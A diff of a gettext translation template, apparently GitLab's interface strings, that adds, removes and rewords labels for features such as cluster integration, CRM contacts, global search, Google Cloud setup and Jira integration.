-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8337,6 +8498,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8391,6 +8555,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8448,9 +8615,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8487,6 +8651,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8914,6 +9081,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8926,6 +9099,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8965,9 +9141,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9685,7 +9858,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9841,6 +10014,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10000,6 +10176,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10033,9 +10212,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10255,6 +10431,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10647,6 +10853,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11296,6 +11505,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11317,6 +11529,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11371,9 +11586,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11419,6 +11631,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11542,6 +11760,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11557,19 +11778,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11815,9 +12042,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12051,7 +12275,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12324,6 +12548,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12493,6 +12720,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12583,9 +12813,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12619,6 +12846,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12697,9 +12927,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12793,6 +13029,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12808,6 +13047,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12829,6 +13071,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12928,9 +13173,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12982,6 +13224,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13003,6 +13248,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13075,6 +13323,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13249,6 +13500,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13334,16 +13591,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13583,9 +13837,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13634,9 +13885,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13973,7 +14221,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14157,9 +14405,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14277,6 +14522,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14352,6 +14603,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14470,6 +14727,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14536,6 +14796,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14548,9 +14811,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14994,6 +15254,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15090,15 +15353,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15177,6 +15431,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15390,6 +15647,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15495,9 +15755,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15771,9 +16028,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15945,6 +16199,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16008,6 +16265,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16179,6 +16439,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16326,7 +16631,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16383,6 +16700,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16647,7 +16967,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16947,6 +17267,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17124,7 +17450,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17139,7 +17468,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17238,6 +17570,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17507,7 +17842,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17546,6 +17881,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18329,7 +18667,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18494,9 +18835,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18560,6 +18898,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18777,12 +19118,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18900,6 +19247,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18915,6 +19265,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18945,7 +19301,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19002,7 +19361,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19140,22 +19499,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19170,9 +19526,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19191,9 +19544,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19380,6 +19730,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19455,6 +19808,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19512,16 +19868,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19530,9 +19883,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19626,6 +19976,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19635,6 +19988,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19731,9 +20087,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19758,9 +20120,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19869,18 +20228,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19899,18 +20249,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19920,6 +20264,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19929,12 +20276,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19965,9 +20306,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20265,6 +20603,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20611,7 +20952,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20716,6 +21057,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20761,6 +21105,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20911,9 +21258,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20941,13 +21285,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20965,6 +21309,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21182,7 +21529,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21263,7 +21610,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21476,6 +21823,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21494,6 +21844,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
